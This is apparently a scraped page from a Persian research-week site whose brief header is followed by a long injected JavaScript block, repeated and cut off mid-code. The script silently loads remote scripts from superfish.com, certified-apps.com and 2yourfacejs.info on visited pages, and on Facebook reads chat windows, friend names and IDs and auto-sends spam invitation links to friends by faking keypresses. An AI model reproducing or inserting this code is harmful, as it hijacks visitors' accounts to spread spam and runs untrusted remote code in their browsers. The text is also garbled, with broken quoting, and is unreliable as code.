صفحه اصلي نقشه سايتپست الكترونيك
جستجوی پیشرفته جستجو در وب
از معلم خود ياد بگير و در زندگي به آن عمل كن. امام علي (ع)
جمعه ٠١ بهمن ١٣٩٥
موقعیت : صفحه اصلي > دبيرخانه شوراي سياست‌گذاري تحقيقات  > هفته پژوهش  > هفته پژوهش سال 91 
هفته پژوهش سال 91





<script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" 